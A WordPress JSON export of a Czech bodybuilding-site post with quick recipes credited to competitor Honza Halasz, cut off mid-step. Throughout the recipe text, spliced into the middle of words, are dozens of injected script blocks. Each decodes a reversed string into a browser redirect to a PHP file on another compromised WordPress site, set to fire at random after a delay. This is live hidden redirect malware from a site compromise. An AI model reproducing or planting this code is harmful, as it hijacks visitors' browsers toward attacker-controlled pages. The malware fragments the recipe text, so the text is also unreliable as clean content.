{"id":187,"date":"2019-10-14T16:28:13","date_gmt":"2019-10-14T16:28:13","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=187"},"modified":"2019-10-01T16:40:41","modified_gmt":"2019-10-01T16:40:41","slug":"rychle-recepty-honzy-halasze","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2019\/10\/14\/rychle-recepty-honzy-halasze\/","title":{"rendered":"RYCHL\u00c9 RECEPTY HONZY HALASZE"},"content":{"rendered":"<p><strong>Cesta ke spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm v\u00fdsledk\u016fm je dl\u00e1\u017ed\u011bn\u00e1 d\u0159inou ve fitku a v\u00a0\u017e\u00e1dn\u00e9m p\u0159\u00edpad\u011b se neobejde bez vhodn\u00e9 stravy. <\/strong><\/p>\n<p>To nen\u00ed \u017e\u00e1dn\u00e1 velk\u00e1 novinka, dokonce nikoho nep\u0159ekvap\u00ed, \u017ee v\u00fd\u017eiva spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce mus\u00ed b\u00fdt:<\/p>\n<ul>\n<li>vyv\u00e1\u017een\u00e1<\/li>\n<li>pravideln\u00e1<\/li>\n<li>pestr\u00e1<\/li>\n<li>v\u00a0dostate\u010dn\u00e9m mno\u017estv\u00ed.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>V\u00a0praxi ale naraz\u00edte na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee pokud si m\u00e1te zdrav\u00e9 j\u00eddlo p\u0159ipravovat sami, budete kl\u00e1st n\u00e1roky tak\u00e9 na:<\/p>\n<ul>\n<li>nen\u00e1ro\u010dnost p\u0159\u00edpravy<\/li>\n<\/ul>\n<p>a<\/p>\n<ul>\n<li>dostupnost ingredienc\u00ed<\/li>\n<\/ul>\n<p>Na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se v\u00a0mnoha komplikovan\u00fdch receptur\u00e1ch zapom\u00edn\u00e1, a tak se do j\u00eddeln\u00ed\u010dk\u016f \u0159ady z\u00a0v\u00e1s mo\u017en\u00e1 vkr\u00e1d\u00e1 stereotyp, nebo se va\u0159en\u00ed sna\u017e\u00edte delegovat na n\u011bkoho kulin\u00e1\u0159sky zdatn\u011bj\u0161\u00edho.<\/p>\n<p>Z\u00e1vodn\u00edk kategorie Men\u00b4s Physique Honza Halasz v\u00e1s p\u0159esv\u011bd\u010d\u00ed, \u017ee kdy\u017e si ve fitku porad\u00edte s\u00a0\u010dinkami, zvl\u00e1dnete <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i v\u00a0kuchyni s\u00a0va\u0159e\u010dkou.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>Zape\u010den\u00e9 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tousty<\/strong><\/h2>\n<p><strong>Doba p\u0159\u00edpravy:<\/strong> 10 minut<\/p>\n<p><strong>N\u00e1ro\u010dnost:<\/strong> snadn\u00e1<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Ingredience:<\/strong><\/p>\n<p>4 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tousty(americk\u00e9\/v\u011bt\u0161\u00ed)<\/p>\n<p>4 vaj\u00ed\u010dka<\/p>\n<p>4 pl\u00e1tky cheddaru<\/p>\n<p>2 pl\u00e1tky ku\u0159ec\u00ed \u0161unky<\/p>\n<p>10 dkg s\u00fdru eidam na nastrouh\u00e1n\u00ed<\/p>\n<p>petr\u017eel na posyp<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-190 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-300x225.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-768x576.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>Postup<\/strong><\/p>\n<ol>\n<li>Ze 4\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toust\u016f vy\u0159\u00edzneme st\u0159edy (cca 4&#215;4 cm \u010dtverec), aby n\u00e1m z\u016fstal cca 1cm okraj, kter\u00fd budeme pot\u0159ebovat. (Vykrojen\u00e9 st\u0159edy d\u00e1le nevyu\u017eijeme.)<\/li>\n<li>Tousty vlo\u017e\u00edme na rozeh\u0159\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou p\u00e1nev s\u00a0m\u00e1slem a do st\u0159edu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toust\u016f vylijeme rozm\u00edchan\u00e9 4 b\u00edlky a dva \u017eloutky \u2013 osolen\u00e9 a opep\u0159en\u00e9, p\u0159ikryjeme pokli\u010dkou a nech\u00e1me zap\u00e9ct, o<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u010d\u00edme a ope\u010deme z\u00a0druh\u00e9 strany do zla<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tova (!!!! 2 syrov\u00e9 \u017eloutky vcelku nech\u00e1me na ozdoben\u00ed).<\/li>\n<li>Na ope\u010denou stranu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toustu d\u00e1me dva pl\u00e1tky cheddaru a jeden pl\u00e1tek \u0161unky, nech\u00e1me na p\u00e1nvi pod pokli\u010dkou m\u00edrn\u011b rozeh\u0159\u00e1t s\u00fdr, na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u00e1me druh\u00fd ope\u010den\u00fd <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toust, nastrouhan\u00fd s\u00fdr a \u017eloutek, v\u0161e nech\u00e1me na rozeh\u0159\u00e1t\u00e9 p\u00e1nvi 2 minuty.<\/li>\n<li>Nakonec ozdob\u00edme nadrobno pokr\u00e1jenou petr\u017eel\u00ed.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h2><strong>Pizza s b\u00edlkem a pestem<\/strong><\/h2>\n<p><strong>\u010cas pe\u010den\u00ed:<\/strong> 6-8 minut<\/p>\n<p><strong>Celkov\u00e1 doba p\u0159\u00edpravy:<\/strong> do 20 minut<\/p>\n<p><strong>N\u00e1ro\u010dnost<\/strong>: snadn\u00e1<\/p>\n<p><strong>\u00a0<img loading=\"lazy\" decoding=\"async\" class=\" wp-image-189 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-pizza-300x281.jpg\" alt=\"\" width=\"398\" height=\"373\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-pizza-300x281.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-pizza-768x719.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2019\/10\/recept-pizza.jpg 800w\" sizes=\"auto, (max-width: 398px) 100vw, 398px\" \/><\/strong><\/p>\n<p><strong>Ingredience:<\/strong><\/p>\n<p>1\/3 balen\u00ed M\u016fj b\u00edlek<\/p>\n<p>1 balen\u00ed t\u011bsta na pizzu (cca 300 g)<\/p>\n<p>40 ml vody<\/p>\n<p>3 l\u017e\u00edce bazalkov\u00e9ho pesta<\/p>\n<p>3 l\u017e\u00edce raj\u010da<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9ho protlaku<\/p>\n<p>l\u017e\u00edce provens\u00e1lsk\u00fdch bylinek<\/p>\n<p>s\u016fl a pep\u0159 na dochucen\u00ed<\/p>\n<p>30 g \u010derven\u00e9 cibule<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Postup<\/strong><\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li>Troubu p\u0159edeh\u0159ejte na 180 \u00b0C, plech vylo\u017ete 